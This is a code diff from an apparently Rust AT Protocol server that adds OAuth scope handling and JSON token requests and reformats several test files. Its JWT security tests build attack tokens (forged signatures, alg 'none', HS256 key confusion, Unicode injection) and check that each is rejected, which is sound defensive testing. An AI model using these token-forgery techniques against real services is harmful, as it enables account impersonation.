···11+CREATE TABLE oauth_scope_preference (
22+ id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
33+ did TEXT NOT NULL REFERENCES users(did) ON DELETE CASCADE,
44+ client_id TEXT NOT NULL,
55+ scope TEXT NOT NULL,
66+ granted BOOLEAN NOT NULL DEFAULT TRUE,
77+ created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
88+ updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
99+ UNIQUE(did, client_id, scope)
1010+);
1111+1212+CREATE INDEX idx_oauth_scope_pref_lookup ON oauth_scope_preference(did, client_id);
···9393 .map(|q| {
9494 q.split('&')
9595 .filter_map(|pair| {
9696- let mut parts = pair.splitn(2, '=');
9797- let k = parts.next()?;
9898- let v = parts.next()?;
9696+ let (k, v) = pair.split_once('=')?;
9797+9998 if k == key {
10099 Some(urlencoding::decode(v).ok()?.into_owned())
101100 } else {
···3636 token_id: &str,
3737 sub: &str,
3838 dpop_jkt: Option<&str>,
3939+ scope: Option<&str>,
3940) -> Result<String, OAuthError> {
4041 use serde_json::json;
4142 let pds_hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
4243 let issuer = format!("https://{}", pds_hostname);
4344 let now = Utc::now().timestamp();
4445 let exp = now + ACCESS_TOKEN_EXPIRY_SECONDS;
4646+ let actual_scope = scope.unwrap_or("atproto");
4547 let mut payload = json!({
4648 "iss": issuer,
4749 "sub": sub,
···4951 "iat": now,
5052 "exp": exp,
5153 "jti": token_id,
5252- "scope": "atproto"
5454+ "scope": actual_scope
5355 });
5456 if let Some(jkt) = dpop_jkt {
5557 payload["cnf"] = json!({ "jkt": jkt });
+27-8
src/oauth/endpoints/token/mod.rs
···5566use crate::oauth::OAuthError;
77use crate::state::{AppState, RateLimitKind};
88-use axum::{Form, Json, extract::State, http::HeaderMap};
88+use axum::body::Bytes;
99+use axum::{Json, extract::State, http::HeaderMap};
9101011pub use grants::{handle_authorization_code_grant, handle_refresh_token_grant};
1112pub use helpers::{TokenClaims, create_access_token, extract_token_claims, verify_pkce};
···1718fn extract_client_ip(headers: &HeaderMap) -> String {
1819 if let Some(forwarded) = headers.get("x-forwarded-for")
1920 && let Ok(value) = forwarded.to_str()
2020- && let Some(first_ip) = value.split(',').next() {
2121- return first_ip.trim().to_string();
2222- }
2121+ && let Some(first_ip) = value.split(',').next()
2222+ {
2323+ return first_ip.trim().to_string();
2424+ }
2325 if let Some(real_ip) = headers.get("x-real-ip")
2424- && let Ok(value) = real_ip.to_str() {
2525- return value.trim().to_string();
2626- }
2626+ && let Ok(value) = real_ip.to_str()
2727+ {
2828+ return value.trim().to_string();
2929+ }
2730 "unknown".to_string()
2831}
29323033pub async fn token_endpoint(
3134 State(state): State<AppState>,
3235 headers: HeaderMap,
3333- Form(request): Form<TokenRequest>,
3636+ body: Bytes,
3437) -> Result<(HeaderMap, Json<TokenResponse>), OAuthError> {
3838+ let content_type = headers
3939+ .get("content-type")
4040+ .and_then(|v| v.to_str().ok())
4141+ .unwrap_or("");
4242+ let request: TokenRequest = if content_type.starts_with("application/json") {
4343+ serde_json::from_slice(&body)
4444+ .map_err(|e| OAuthError::InvalidRequest(format!("Invalid JSON: {}", e)))?
4545+ } else if content_type.starts_with("application/x-www-form-urlencoded") {
4646+ serde_urlencoded::from_bytes(&body)
4747+ .map_err(|e| OAuthError::InvalidRequest(format!("Invalid form data: {}", e)))?
4848+ } else {
4949+ return Err(OAuthError::InvalidRequest(
5050+ "Content-Type must be application/json or application/x-www-form-urlencoded"
5151+ .to_string(),
5252+ ));
5353+ };
3554 let client_ip = extract_client_ip(&headers);
3655 if !state
3756 .check_rate_limit(RateLimitKind::OAuthToken, &client_ip)
+2-2
src/oauth/mod.rs
···44pub mod endpoints;
55pub mod error;
66pub mod jwks;
77-pub mod templates;
77+pub mod scopes;
88pub mod types;
99pub mod verify;
10101111pub use error::OAuthError;
1212-pub use templates::{DeviceAccount, mask_email};
1212+pub use scopes::{AccountAction, AccountAttr, RepoAction, ScopeError, ScopePermissions};
1313pub use types::*;
1414pub use verify::{
1515 OAuthAuthError, OAuthUser, VerifyResult, generate_dpop_nonce, verify_oauth_access_token,
···2121 .expect("Failed to send request");
2222 assert_eq!(res.status(), StatusCode::OK);
2323 let body: Value = res.json().await.unwrap();
2424- let accounts = body["accounts"].as_array().expect("accounts should be array");
2424+ let accounts = body["accounts"]
2525+ .as_array()
2626+ .expect("accounts should be array");
2527 assert!(!accounts.is_empty(), "Should return some accounts");
2626- let found = accounts.iter().any(|a| a["did"].as_str() == Some(&user_did));
2727- assert!(found, "Should find the created user in results (DID: {})", user_did);
2828+ let found = accounts
2929+ .iter()
3030+ .any(|a| a["did"].as_str() == Some(&user_did));
3131+ assert!(
3232+ found,
3333+ "Should find the created user in results (DID: {})",
3434+ user_did
3535+ );
2836}
29373038#[tokio::test]
···6169 assert_eq!(res.status(), StatusCode::OK);
6270 let body: Value = res.json().await.unwrap();
6371 let accounts = body["accounts"].as_array().unwrap();
6464- assert_eq!(accounts.len(), 1, "Should find exactly one account with this handle");
7272+ assert_eq!(
7373+ accounts.len(),
7474+ 1,
7575+ "Should find exactly one account with this handle"
7676+ );
6577 assert_eq!(accounts[0]["handle"].as_str(), Some(unique_handle.as_str()));
6678}
6779···100112 assert_eq!(res2.status(), StatusCode::OK);
101113 let body2: Value = res2.json().await.unwrap();
102114 let accounts2 = body2["accounts"].as_array().unwrap();
103103- assert!(!accounts2.is_empty(), "Should return more accounts after cursor");
104104- let first_page_dids: Vec<&str> = accounts.iter().map(|a| a["did"].as_str().unwrap()).collect();
105105- let second_page_dids: Vec<&str> = accounts2.iter().map(|a| a["did"].as_str().unwrap()).collect();
115115+ assert!(
116116+ !accounts2.is_empty(),
117117+ "Should return more accounts after cursor"
118118+ );
119119+ let first_page_dids: Vec<&str> = accounts
120120+ .iter()
121121+ .map(|a| a["did"].as_str().unwrap())
122122+ .collect();
123123+ let second_page_dids: Vec<&str> = accounts2
124124+ .iter()
125125+ .map(|a| a["did"].as_str().unwrap())
126126+ .collect();
106127 for did in &second_page_dids {
107107- assert!(!first_page_dids.contains(did), "Second page should not repeat first page DIDs");
128128+ assert!(
129129+ !first_page_dids.contains(did),
130130+ "Second page should not repeat first page DIDs"
131131+ );
108132 }
109133}
110134···160184 let account = &accounts[0];
161185 assert!(account["did"].as_str().is_some(), "Should have did");
162186 assert!(account["handle"].as_str().is_some(), "Should have handle");
163163- assert!(account["indexedAt"].as_str().is_some(), "Should have indexedAt");
187187+ assert!(
188188+ account["indexedAt"].as_str().is_some(),
189189+ "Should have indexedAt"
190190+ );
164191}
···8484 .await
8585 .expect("Failed to confirm email");
8686 assert_eq!(res.status(), StatusCode::OK);
8787- let user = sqlx::query!(
8888- "SELECT email FROM users WHERE handle = $1",
8989- handle
9090- )
9191- .fetch_one(&pool)
9292- .await
9393- .expect("User not found");
8787+ let user = sqlx::query!("SELECT email FROM users WHERE handle = $1", handle)
8888+ .fetch_one(&pool)
8989+ .await
9090+ .expect("User not found");
9491 assert_eq!(user.email, Some(new_email));
95929693 let verification = sqlx::query!(
···320317 .await
321318 .expect("Failed to update email");
322319 assert_eq!(res.status(), StatusCode::OK);
323323- let user = sqlx::query!(
324324- "SELECT email FROM users WHERE handle = $1",
325325- handle
326326- )
327327- .fetch_one(&pool)
328328- .await
329329- .expect("User not found");
320320+ let user = sqlx::query!("SELECT email FROM users WHERE handle = $1", handle)
321321+ .fetch_one(&pool)
322322+ .await
323323+ .expect("User not found");
330324 assert_eq!(user.email, Some(new_email));
331325 let verification = sqlx::query!(
332326 "SELECT code FROM channel_verifications WHERE user_id = (SELECT id FROM users WHERE handle = $1) AND channel = 'email'",
+98-21
tests/image_processing.rs
···11+use image::{DynamicImage, ImageFormat};
22+use std::io::Cursor;
13use tranquil_pds::image::{
24 DEFAULT_MAX_FILE_SIZE, ImageError, ImageProcessor, OutputFormat, THUMB_SIZE_FEED,
35 THUMB_SIZE_FULL,
46};
55-use image::{DynamicImage, ImageFormat};
66-use std::io::Cursor;
7788fn create_test_png(width: u32, height: u32) -> Vec<u8> {
99 let img = DynamicImage::new_rgb8(width, height);
1010 let mut buf = Vec::new();
1111- img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Png).unwrap();
1111+ img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Png)
1212+ .unwrap();
1213 buf
1314}
14151516fn create_test_jpeg(width: u32, height: u32) -> Vec<u8> {
1617 let img = DynamicImage::new_rgb8(width, height);
1718 let mut buf = Vec::new();
1818- img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Jpeg).unwrap();
1919+ img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Jpeg)
2020+ .unwrap();
1921 buf
2022}
21232224fn create_test_gif(width: u32, height: u32) -> Vec<u8> {
2325 let img = DynamicImage::new_rgb8(width, height);
2426 let mut buf = Vec::new();
2525- img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Gif).unwrap();
2727+ img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Gif)
2828+ .unwrap();
2629 buf
2730}
28312932fn create_test_webp(width: u32, height: u32) -> Vec<u8> {
3033 let img = DynamicImage::new_rgb8(width, height);
3134 let mut buf = Vec::new();
3232- img.write_to(&mut Cursor::new(&mut buf), ImageFormat::WebP).unwrap();
3535+ img.write_to(&mut Cursor::new(&mut buf), ImageFormat::WebP)
3636+ .unwrap();
3337 buf
3438}
3539···62666367 let small = create_test_png(100, 100);
6468 let result = processor.process(&small, "image/png").unwrap();
6565- assert!(result.thumbnail_feed.is_none(), "Small image should not get feed thumbnail");
6666- assert!(result.thumbnail_full.is_none(), "Small image should not get full thumbnail");
6969+ assert!(
7070+ result.thumbnail_feed.is_none(),
7171+ "Small image should not get feed thumbnail"
7272+ );
7373+ assert!(
7474+ result.thumbnail_full.is_none(),
7575+ "Small image should not get full thumbnail"
7676+ );
67776878 let medium = create_test_png(500, 500);
6979 let result = processor.process(&medium, "image/png").unwrap();
7070- assert!(result.thumbnail_feed.is_some(), "Medium image should have feed thumbnail");
7171- assert!(result.thumbnail_full.is_none(), "Medium image should NOT have full thumbnail");
8080+ assert!(
8181+ result.thumbnail_feed.is_some(),
8282+ "Medium image should have feed thumbnail"
8383+ );
8484+ assert!(
8585+ result.thumbnail_full.is_none(),
8686+ "Medium image should NOT have full thumbnail"
8787+ );
72887389 let large = create_test_png(2000, 2000);
7490 let result = processor.process(&large, "image/png").unwrap();
7575- assert!(result.thumbnail_feed.is_some(), "Large image should have feed thumbnail");
7676- assert!(result.thumbnail_full.is_some(), "Large image should have full thumbnail");
9191+ assert!(
9292+ result.thumbnail_feed.is_some(),
9393+ "Large image should have feed thumbnail"
9494+ );
9595+ assert!(
9696+ result.thumbnail_full.is_some(),
9797+ "Large image should have full thumbnail"
9898+ );
7799 let thumb = result.thumbnail_feed.unwrap();
78100 assert!(thumb.width <= THUMB_SIZE_FEED && thumb.height <= THUMB_SIZE_FEED);
79101 let full = result.thumbnail_full.unwrap();
···8110382104 let at_feed = create_test_png(THUMB_SIZE_FEED, THUMB_SIZE_FEED);
83105 let above_feed = create_test_png(THUMB_SIZE_FEED + 1, THUMB_SIZE_FEED + 1);
8484- assert!(processor.process(&at_feed, "image/png").unwrap().thumbnail_feed.is_none());
8585- assert!(processor.process(&above_feed, "image/png").unwrap().thumbnail_feed.is_some());
106106+ assert!(
107107+ processor
108108+ .process(&at_feed, "image/png")
109109+ .unwrap()
110110+ .thumbnail_feed
111111+ .is_none()
112112+ );
113113+ assert!(
114114+ processor
115115+ .process(&above_feed, "image/png")
116116+ .unwrap()
117117+ .thumbnail_feed
118118+ .is_some()
119119+ );
8612087121 let at_full = create_test_png(THUMB_SIZE_FULL, THUMB_SIZE_FULL);
88122 let above_full = create_test_png(THUMB_SIZE_FULL + 1, THUMB_SIZE_FULL + 1);
8989- assert!(processor.process(&at_full, "image/png").unwrap().thumbnail_full.is_none());
9090- assert!(processor.process(&above_full, "image/png").unwrap().thumbnail_full.is_some());
123123+ assert!(
124124+ processor
125125+ .process(&at_full, "image/png")
126126+ .unwrap()
127127+ .thumbnail_full
128128+ .is_none()
129129+ );
130130+ assert!(
131131+ processor
132132+ .process(&above_full, "image/png")
133133+ .unwrap()
134134+ .thumbnail_full
135135+ .is_some()
136136+ );
9113792138 let disabled = ImageProcessor::new().with_thumbnails(false);
93139 let result = disabled.process(&large, "image/png").unwrap();
···100146 let jpeg = create_test_jpeg(300, 300);
101147102148 let webp_proc = ImageProcessor::new().with_output_format(OutputFormat::WebP);
103103- assert_eq!(webp_proc.process(&png, "image/png").unwrap().original.mime_type, "image/webp");
149149+ assert_eq!(
150150+ webp_proc
151151+ .process(&png, "image/png")
152152+ .unwrap()
153153+ .original
154154+ .mime_type,
155155+ "image/webp"
156156+ );
104157105158 let jpeg_proc = ImageProcessor::new().with_output_format(OutputFormat::Jpeg);
106106- assert_eq!(jpeg_proc.process(&png, "image/png").unwrap().original.mime_type, "image/jpeg");
159159+ assert_eq!(
160160+ jpeg_proc
161161+ .process(&png, "image/png")
162162+ .unwrap()
163163+ .original
164164+ .mime_type,
165165+ "image/jpeg"
166166+ );
107167108168 let png_proc = ImageProcessor::new().with_output_format(OutputFormat::Png);
109109- assert_eq!(png_proc.process(&jpeg, "image/jpeg").unwrap().original.mime_type, "image/png");
169169+ assert_eq!(
170170+ png_proc
171171+ .process(&jpeg, "image/jpeg")
172172+ .unwrap()
173173+ .original
174174+ .mime_type,
175175+ "image/png"
176176+ );
110177}
111178112179#[test]
···116183 let max_dim = ImageProcessor::new().with_max_dimension(1000);
117184 let large = create_test_png(2000, 2000);
118185 let result = max_dim.process(&large, "image/png");
119119- assert!(matches!(result, Err(ImageError::TooLarge { width: 2000, height: 2000, max_dimension: 1000 })));
186186+ assert!(matches!(
187187+ result,
188188+ Err(ImageError::TooLarge {
189189+ width: 2000,
190190+ height: 2000,
191191+ max_dimension: 1000
192192+ })
193193+ ));
120194121195 let max_file = ImageProcessor::new().with_max_file_size(100);
122196 let data = create_test_png(500, 500);
123197 let result = max_file.process(&data, "image/png");
124124- assert!(matches!(result, Err(ImageError::FileTooLarge { max_size: 100, .. })));
198198+ assert!(matches!(
199199+ result,
200200+ Err(ImageError::FileTooLarge { max_size: 100, .. })
201201+ ));
125202}
126203127204#[test]
+318-84
tests/jwt_security.rs
···11#![allow(unused_imports)]
22mod common;
33use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD};
44-use tranquil_pds::auth::{
55- self, SCOPE_ACCESS, SCOPE_APP_PASS, SCOPE_APP_PASS_PRIVILEGED, SCOPE_REFRESH,
66- TOKEN_TYPE_ACCESS, TOKEN_TYPE_REFRESH, TOKEN_TYPE_SERVICE, create_access_token,
77- create_refresh_token, create_service_token, get_did_from_token, get_jti_from_token,
88- verify_access_token, verify_refresh_token, verify_token,
99-};
104use chrono::{Duration, Utc};
115use common::{base_url, client, create_account_and_login, get_db_connection_string};
126use k256::SecretKey;
···159use reqwest::StatusCode;
1610use serde_json::{Value, json};
1711use sha2::{Digest, Sha256};
1212+use tranquil_pds::auth::{
1313+ self, SCOPE_ACCESS, SCOPE_APP_PASS, SCOPE_APP_PASS_PRIVILEGED, SCOPE_REFRESH,
1414+ TOKEN_TYPE_ACCESS, TOKEN_TYPE_REFRESH, TOKEN_TYPE_SERVICE, create_access_token,
1515+ create_refresh_token, create_service_token, get_did_from_token, get_jti_from_token,
1616+ verify_access_token, verify_refresh_token, verify_token,
1717+};
18181919fn generate_user_key() -> Vec<u8> {
2020 let secret_key = SecretKey::random(&mut OsRng);
···4848 let forged_token = format!("{}.{}.{}", parts[0], parts[1], forged_signature);
4949 let result = verify_access_token(&forged_token, &key_bytes);
5050 assert!(result.is_err(), "Forged signature must be rejected");
5151- assert!(result.err().unwrap().to_string().to_lowercase().contains("signature"));
5151+ assert!(
5252+ result
5353+ .err()
5454+ .unwrap()
5555+ .to_string()
5656+ .to_lowercase()
5757+ .contains("signature")
5858+ );
52595360 let payload_bytes = URL_SAFE_NO_PAD.decode(parts[1]).unwrap();
5461 let mut payload: Value = serde_json::from_slice(&payload_bytes).unwrap();
5562 payload["sub"] = json!("did:plc:attacker");
5663 let modified_payload = URL_SAFE_NO_PAD.encode(serde_json::to_string(&payload).unwrap());
5764 let modified_token = format!("{}.{}.{}", parts[0], modified_payload, parts[2]);
5858- assert!(verify_access_token(&modified_token, &key_bytes).is_err(), "Modified payload must be rejected");
6565+ assert!(
6666+ verify_access_token(&modified_token, &key_bytes).is_err(),
6767+ "Modified payload must be rejected"
6868+ );
59696070 let sig_bytes = URL_SAFE_NO_PAD.decode(parts[2]).unwrap();
6171 let truncated_sig = URL_SAFE_NO_PAD.encode(&sig_bytes[..32]);
6272 let truncated_token = format!("{}.{}.{}", parts[0], parts[1], truncated_sig);
6363- assert!(verify_access_token(&truncated_token, &key_bytes).is_err(), "Truncated signature must be rejected");
7373+ assert!(
7474+ verify_access_token(&truncated_token, &key_bytes).is_err(),
7575+ "Truncated signature must be rejected"
7676+ );
64776578 let mut extended_sig = sig_bytes.clone();
6679 extended_sig.extend_from_slice(&[0u8; 32]);
6767- let extended_token = format!("{}.{}.{}", parts[0], parts[1], URL_SAFE_NO_PAD.encode(&extended_sig));
6868- assert!(verify_access_token(&extended_token, &key_bytes).is_err(), "Extended signature must be rejected");
8080+ let extended_token = format!(
8181+ "{}.{}.{}",
8282+ parts[0],
8383+ parts[1],
8484+ URL_SAFE_NO_PAD.encode(&extended_sig)
8585+ );
8686+ assert!(
8787+ verify_access_token(&extended_token, &key_bytes).is_err(),
8888+ "Extended signature must be rejected"
8989+ );
69907091 let key_bytes_user2 = generate_user_key();
7171- assert!(verify_access_token(&token, &key_bytes_user2).is_err(), "Token signed with different key must be rejected");
9292+ assert!(
9393+ verify_access_token(&token, &key_bytes_user2).is_err(),
9494+ "Token signed with different key must be rejected"
9595+ );
7296}
73977498#[test]
···83107 "jti": "attack-token", "scope": SCOPE_ACCESS
84108 });
85109 let none_token = create_unsigned_jwt(&none_header, &claims);
8686- assert!(verify_access_token(&none_token, &key_bytes).is_err(), "Algorithm 'none' must be rejected");
110110+ assert!(
111111+ verify_access_token(&none_token, &key_bytes).is_err(),
112112+ "Algorithm 'none' must be rejected"
113113+ );
8711488115 let hs256_header = json!({ "alg": "HS256", "typ": TOKEN_TYPE_ACCESS });
89116 let header_b64 = URL_SAFE_NO_PAD.encode(serde_json::to_string(&hs256_header).unwrap());
···95122 mac.update(message.as_bytes());
96123 let hmac_sig = mac.finalize().into_bytes();
97124 let hs256_token = format!("{}.{}", message, URL_SAFE_NO_PAD.encode(&hmac_sig));
9898- assert!(verify_access_token(&hs256_token, &key_bytes).is_err(), "HS256 substitution must be rejected");
125125+ assert!(
126126+ verify_access_token(&hs256_token, &key_bytes).is_err(),
127127+ "HS256 substitution must be rejected"
128128+ );
99129100130 for (alg, sig_len) in [("RS256", 256), ("ES256", 64)] {
101131 let header = json!({ "alg": alg, "typ": TOKEN_TYPE_ACCESS });
102132 let header_b64 = URL_SAFE_NO_PAD.encode(serde_json::to_string(&header).unwrap());
103133 let fake_sig = URL_SAFE_NO_PAD.encode(&vec![1u8; sig_len]);
104134 let token = format!("{}.{}.{}", header_b64, claims_b64, fake_sig);
105105- assert!(verify_access_token(&token, &key_bytes).is_err(), "{} substitution must be rejected", alg);
135135+ assert!(
136136+ verify_access_token(&token, &key_bytes).is_err(),
137137+ "{} substitution must be rejected",
138138+ alg
139139+ );
106140 }
107141}
108142···114148 let refresh_token = create_refresh_token(did, &key_bytes).expect("create refresh token");
115149 let result = verify_access_token(&refresh_token, &key_bytes);
116150 assert!(result.is_err(), "Refresh token as access must be rejected");
117117- assert!(result.err().unwrap().to_string().contains("Invalid token type"));
151151+ assert!(
152152+ result
153153+ .err()
154154+ .unwrap()
155155+ .to_string()
156156+ .contains("Invalid token type")
157157+ );
118158119159 let access_token = create_access_token(did, &key_bytes).expect("create access token");
120160 let result = verify_refresh_token(&access_token, &key_bytes);
121161 assert!(result.is_err(), "Access token as refresh must be rejected");
122122- assert!(result.err().unwrap().to_string().contains("Invalid token type"));
162162+ assert!(
163163+ result
164164+ .err()
165165+ .unwrap()
166166+ .to_string()
167167+ .contains("Invalid token type")
168168+ );
123169124124- let service_token = create_service_token(did, "did:web:target", "com.example.method", &key_bytes).unwrap();
125125- assert!(verify_access_token(&service_token, &key_bytes).is_err(), "Service token as access must be rejected");
170170+ let service_token =
171171+ create_service_token(did, "did:web:target", "com.example.method", &key_bytes).unwrap();
172172+ assert!(
173173+ verify_access_token(&service_token, &key_bytes).is_err(),
174174+ "Service token as access must be rejected"
175175+ );
126176}
127177128178#[test]
···136186 "iat": Utc::now().timestamp(), "exp": Utc::now().timestamp() + 3600,
137187 "jti": "test", "scope": "admin.all"
138188 });
139139- let result = verify_access_token(&create_custom_jwt(&header, &invalid_scope, &key_bytes), &key_bytes);
140140- assert!(result.is_err() && result.err().unwrap().to_string().contains("Invalid token scope"));
189189+ let result = verify_access_token(
190190+ &create_custom_jwt(&header, &invalid_scope, &key_bytes),
191191+ &key_bytes,
192192+ );
193193+ assert!(
194194+ result.is_err()
195195+ && result
196196+ .err()
197197+ .unwrap()
198198+ .to_string()
199199+ .contains("Invalid token scope")
200200+ );
141201142202 let empty_scope = json!({
143203 "iss": did, "sub": did, "aud": "did:web:test.pds",
144204 "iat": Utc::now().timestamp(), "exp": Utc::now().timestamp() + 3600,
145205 "jti": "test", "scope": ""
146206 });
147147- assert!(verify_access_token(&create_custom_jwt(&header, &empty_scope, &key_bytes), &key_bytes).is_err());
207207+ assert!(
208208+ verify_access_token(
209209+ &create_custom_jwt(&header, &empty_scope, &key_bytes),
210210+ &key_bytes
211211+ )
212212+ .is_err()
213213+ );
148214149215 let missing_scope = json!({
150216 "iss": did, "sub": did, "aud": "did:web:test.pds",
151217 "iat": Utc::now().timestamp(), "exp": Utc::now().timestamp() + 3600,
152218 "jti": "test"
153219 });
154154- assert!(verify_access_token(&create_custom_jwt(&header, &missing_scope, &key_bytes), &key_bytes).is_err());
220220+ assert!(
221221+ verify_access_token(
222222+ &create_custom_jwt(&header, &missing_scope, &key_bytes),
223223+ &key_bytes
224224+ )
225225+ .is_err()
226226+ );
155227156228 for scope in [SCOPE_ACCESS, SCOPE_APP_PASS, SCOPE_APP_PASS_PRIVILEGED] {
157229 let claims = json!({
···159231 "iat": Utc::now().timestamp(), "exp": Utc::now().timestamp() + 3600,
160232 "jti": "test", "scope": scope
161233 });
162162- assert!(verify_access_token(&create_custom_jwt(&header, &claims, &key_bytes), &key_bytes).is_ok());
234234+ assert!(
235235+ verify_access_token(&create_custom_jwt(&header, &claims, &key_bytes), &key_bytes)
236236+ .is_ok()
237237+ );
163238 }
164239165240 let refresh_scope = json!({
···167242 "iat": Utc::now().timestamp(), "exp": Utc::now().timestamp() + 3600,
168243 "jti": "test", "scope": SCOPE_REFRESH
169244 });
170170- assert!(verify_access_token(&create_custom_jwt(&header, &refresh_scope, &key_bytes), &key_bytes).is_err());
245245+ assert!(
246246+ verify_access_token(
247247+ &create_custom_jwt(&header, &refresh_scope, &key_bytes),
248248+ &key_bytes
249249+ )
250250+ .is_err()
251251+ );
171252}
172253173254#[test]
···181262 "iss": did, "sub": did, "aud": "did:web:test.pds",
182263 "iat": now - 7200, "exp": now - 3600, "jti": "test", "scope": SCOPE_ACCESS
183264 });
184184- let result = verify_access_token(&create_custom_jwt(&header, &expired, &key_bytes), &key_bytes);
265265+ let result = verify_access_token(
266266+ &create_custom_jwt(&header, &expired, &key_bytes),
267267+ &key_bytes,
268268+ );
185269 assert!(result.is_err() && result.err().unwrap().to_string().contains("expired"));
186270187271 let future_iat = json!({
188272 "iss": did, "sub": did, "aud": "did:web:test.pds",
189273 "iat": now + 60, "exp": now + 7200, "jti": "test", "scope": SCOPE_ACCESS
190274 });
191191- assert!(verify_access_token(&create_custom_jwt(&header, &future_iat, &key_bytes), &key_bytes).is_ok());
275275+ assert!(
276276+ verify_access_token(
277277+ &create_custom_jwt(&header, &future_iat, &key_bytes),
278278+ &key_bytes
279279+ )
280280+ .is_ok()
281281+ );
192282193283 let just_expired = json!({
194284 "iss": did, "sub": did, "aud": "did:web:test.pds",
195285 "iat": now - 10, "exp": now - 1, "jti": "test", "scope": SCOPE_ACCESS
196286 });
197197- assert!(verify_access_token(&create_custom_jwt(&header, &just_expired, &key_bytes), &key_bytes).is_err());
287287+ assert!(
288288+ verify_access_token(
289289+ &create_custom_jwt(&header, &just_expired, &key_bytes),
290290+ &key_bytes
291291+ )
292292+ .is_err()
293293+ );
198294199295 let far_future = json!({
200296 "iss": did, "sub": did, "aud": "did:web:test.pds",
201297 "iat": now, "exp": i64::MAX, "jti": "test", "scope": SCOPE_ACCESS
202298 });
203203- let _ = verify_access_token(&create_custom_jwt(&header, &far_future, &key_bytes), &key_bytes);
299299+ let _ = verify_access_token(
300300+ &create_custom_jwt(&header, &far_future, &key_bytes),
301301+ &key_bytes,
302302+ );
204303205304 let negative_iat = json!({
206305 "iss": did, "sub": did, "aud": "did:web:test.pds",
207306 "iat": -1000000000i64, "exp": now + 3600, "jti": "test", "scope": SCOPE_ACCESS
208307 });
209209- let _ = verify_access_token(&create_custom_jwt(&header, &negative_iat, &key_bytes), &key_bytes);
308308+ let _ = verify_access_token(
309309+ &create_custom_jwt(&header, &negative_iat, &key_bytes),
310310+ &key_bytes,
311311+ );
210312}
211313212314#[test]
213315fn test_malformed_tokens() {
214316 let key_bytes = generate_user_key();
215317216216- for token in ["", "not-a-token", "one.two", "one.two.three.four", "....",
217217- "eyJhbGciOiJFUzI1NksifQ", "eyJhbGciOiJFUzI1NksifQ.", "eyJhbGciOiJFUzI1NksifQ..",
218218- ".eyJzdWIiOiJ0ZXN0In0.", "!!invalid-base64!!.eyJzdWIiOiJ0ZXN0In0.sig"] {
219219- assert!(verify_access_token(token, &key_bytes).is_err(), "Malformed token must be rejected");
318318+ for token in [
319319+ "",
320320+ "not-a-token",
321321+ "one.two",
322322+ "one.two.three.four",
323323+ "....",
324324+ "eyJhbGciOiJFUzI1NksifQ",
325325+ "eyJhbGciOiJFUzI1NksifQ.",
326326+ "eyJhbGciOiJFUzI1NksifQ..",
327327+ ".eyJzdWIiOiJ0ZXN0In0.",
328328+ "!!invalid-base64!!.eyJzdWIiOiJ0ZXN0In0.sig",
329329+ ] {
330330+ assert!(
331331+ verify_access_token(token, &key_bytes).is_err(),
332332+ "Malformed token must be rejected"
333333+ );
220334 }
221335222336 let invalid_header = URL_SAFE_NO_PAD.encode("{not valid json}");
223337 let claims_b64 = URL_SAFE_NO_PAD.encode(r#"{"sub":"test"}"#);
224338 let fake_sig = URL_SAFE_NO_PAD.encode(&[1u8; 64]);
225225- assert!(verify_access_token(&format!("{}.{}.{}", invalid_header, claims_b64, fake_sig), &key_bytes).is_err());
339339+ assert!(
340340+ verify_access_token(
341341+ &format!("{}.{}.{}", invalid_header, claims_b64, fake_sig),
342342+ &key_bytes
343343+ )
344344+ .is_err()
345345+ );
226346227347 let header_b64 = URL_SAFE_NO_PAD.encode(r#"{"alg":"ES256K","typ":"at+jwt"}"#);
228348 let invalid_claims = URL_SAFE_NO_PAD.encode("{not valid json}");
229229- assert!(verify_access_token(&format!("{}.{}.{}", header_b64, invalid_claims, fake_sig), &key_bytes).is_err());
349349+ assert!(
350350+ verify_access_token(
351351+ &format!("{}.{}.{}", header_b64, invalid_claims, fake_sig),
352352+ &key_bytes
353353+ )
354354+ .is_err()
355355+ );
230356}
231357232358#[test]
···239365 "iss": did, "sub": did, "aud": "did:web:test",
240366 "iat": Utc::now().timestamp(), "scope": SCOPE_ACCESS
241367 });
242242- assert!(verify_access_token(&create_custom_jwt(&header, &missing_exp, &key_bytes), &key_bytes).is_err());
368368+ assert!(
369369+ verify_access_token(
370370+ &create_custom_jwt(&header, &missing_exp, &key_bytes),
371371+ &key_bytes
372372+ )
373373+ .is_err()
374374+ );
243375244376 let missing_iat = json!({
245377 "iss": did, "sub": did, "aud": "did:web:test",
246378 "exp": Utc::now().timestamp() + 3600, "scope": SCOPE_ACCESS
247379 });
248248- assert!(verify_access_token(&create_custom_jwt(&header, &missing_iat, &key_bytes), &key_bytes).is_err());
380380+ assert!(
381381+ verify_access_token(
382382+ &create_custom_jwt(&header, &missing_iat, &key_bytes),
383383+ &key_bytes
384384+ )
385385+ .is_err()
386386+ );
249387250388 let missing_sub = json!({
251389 "iss": did, "aud": "did:web:test",
252390 "iat": Utc::now().timestamp(), "exp": Utc::now().timestamp() + 3600, "scope": SCOPE_ACCESS
253391 });
254254- assert!(verify_access_token(&create_custom_jwt(&header, &missing_sub, &key_bytes), &key_bytes).is_err());
392392+ assert!(
393393+ verify_access_token(
394394+ &create_custom_jwt(&header, &missing_sub, &key_bytes),
395395+ &key_bytes
396396+ )
397397+ .is_err()
398398+ );
255399256400 let wrong_types = json!({
257401 "iss": 12345, "sub": ["did:plc:test"], "aud": {"url": "did:web:test"},
258402 "iat": "not a number", "exp": "also not a number", "jti": null, "scope": SCOPE_ACCESS
259403 });
260260- assert!(verify_access_token(&create_custom_jwt(&header, &wrong_types, &key_bytes), &key_bytes).is_err());
404404+ assert!(
405405+ verify_access_token(
406406+ &create_custom_jwt(&header, &wrong_types, &key_bytes),
407407+ &key_bytes
408408+ )
409409+ .is_err()
410410+ );
261411262412 let unicode_injection = json!({
263413 "iss": "did:plc:test\u{0000}attacker", "sub": "did:plc:test\u{202E}rekatta",
264414 "aud": "did:web:test.pds", "iat": Utc::now().timestamp(), "exp": Utc::now().timestamp() + 3600,
265415 "jti": "test", "scope": SCOPE_ACCESS
266416 });
